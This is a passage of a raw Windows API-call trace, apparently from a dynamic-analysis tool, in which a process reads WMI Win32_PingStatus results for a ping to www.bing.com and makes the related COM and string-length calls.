(bstr="Q9IATRKPRH") returned 0x14 [0138.514] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28576f0*=0, plFlavor=0x28576f4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28576f0*=8, plFlavor=0x28576f4*=64) returned 0x0 [0138.514] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.514] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.514] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285773c*=0, plFlavor=0x2857740*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x285773c*=8, plFlavor=0x2857740*=64) returned 0x0 [0138.514] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.514] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0138.514] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0138.514] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.514] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="WriteWarningStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857970*=0, plFlavor=0x2857974*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857970*=0, plFlavor=0x2857974*=0) returned 0x80041002 [0138.514] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0138.515] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d09790) returned 0x0 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09790, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0138.516] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d09790, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d097b0) returned 0x0 [0138.516] WbemStatusCodeText:IUnknown:Release (This=0x5d09790) returned 0x0 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097b0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d097b0) returned 0x0 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097b0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0138.516] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097b0) returned 0x3 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097b0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097b0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097b0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0138.516] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0138.516] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0138.516] WbemStatusCodeText:IUnknown:Release (This=0x5d097b0) returned 0x2 [0138.516] WbemStatusCodeText:IUnknown:Release (This=0x5d097b0) returned 0x1 [0138.516] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0138.516] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0138.516] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097b0, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d097b0) returned 0x0 [0138.519] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097b0) returned 0x3 [0138.519] WbemStatusCodeText:IUnknown:Release (This=0x5d097b0) returned 0x2 [0138.519] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d097b0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0138.519] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.520] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.520] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.520] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.520] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.520] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0138.520] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.520] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.520] SafeArrayGetLBound (in: psa=0x5ce9fb0, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0138.521] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.521] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.521] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.521] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.521] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.521] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.521] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.521] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.521] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.521] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.521] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.521] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.521] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.521] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.521] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.521] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.521] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.521] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.521] SysStringByteLen (bstr="__PATH") returned 0xc [0138.521] SysStringByteLen (bstr="__PATH") returned 0xc [0138.522] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857d50*=0, plFlavor=0x2857d54*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2857d50*=3, plFlavor=0x2857d54*=64) returned 0x0 [0138.522] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857d84*=0, plFlavor=0x2857d88*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2857d84*=8, plFlavor=0x2857d88*=64) returned 0x0 [0138.522] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.522] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.522] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857ddc*=0, plFlavor=0x2857de0*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857ddc*=8, plFlavor=0x2857de0*=64) returned 0x0 [0138.522] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857e04*=0, plFlavor=0x2857e08*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2857e04*=8, plFlavor=0x2857e08*=64) returned 0x0 [0138.522] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.522] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.522] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857e5c*=0, plFlavor=0x2857e60*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2857e5c*=8, plFlavor=0x2857e60*=64) returned 0x0 [0138.522] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.522] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.522] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858034*=0, plFlavor=0x2858038*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2858034*=3, plFlavor=0x2858038*=64) returned 0x0 [0138.523] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858068*=0, plFlavor=0x285806c*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2858068*=8200, plFlavor=0x285806c*=64) returned 0x0 [0138.523] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285809c*=0, plFlavor=0x28580a0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x285809c*=8, plFlavor=0x28580a0*=64) returned 0x0 [0138.523] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.523] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.523] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28580e8*=0, plFlavor=0x28580ec*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28580e8*=8, plFlavor=0x28580ec*=64) returned 0x0 [0138.523] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.523] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.523] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858134*=0, plFlavor=0x2858138*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2858134*=8, plFlavor=0x2858138*=64) returned 0x0 [0138.523] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.523] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.524] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0138.524] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0138.524] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.524] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="WriteVerboseStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858368*=0, plFlavor=0x285836c*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2858368*=0, plFlavor=0x285836c*=0) returned 0x80041002 [0138.524] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0138.525] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d09790) returned 0x0 [0138.525] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09790, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0138.525] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d09790, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d097c0) returned 0x0 [0138.525] WbemStatusCodeText:IUnknown:Release (This=0x5d09790) returned 0x0 [0138.525] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097c0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d097c0) returned 0x0 [0138.525] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097c0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0138.526] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097c0) returned 0x3 [0138.526] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097c0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0138.526] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097c0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0138.526] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097c0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0138.526] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0138.526] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0138.526] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097c0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0138.526] WbemStatusCodeText:IUnknown:Release (This=0x5d097c0) returned 0x2 [0138.526] WbemStatusCodeText:IUnknown:Release (This=0x5d097c0) returned 0x1 [0138.526] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0138.526] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0138.526] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097c0, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d097c0) returned 0x0 [0138.526] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097c0) returned 0x3 [0138.526] WbemStatusCodeText:IUnknown:Release (This=0x5d097c0) returned 0x2 [0138.526] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d097c0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0138.526] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.528] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.528] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.528] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.528] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.528] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.528] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.528] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0138.528] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.528] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.528] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0138.528] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.529] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.529] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.529] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.529] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.529] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.529] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.529] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.529] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.529] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.529] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.529] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.529] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.529] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.529] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.529] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.529] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.529] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.529] SysStringByteLen (bstr="__PATH") returned 0xc [0138.529] SysStringByteLen (bstr="__PATH") returned 0xc [0138.529] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", 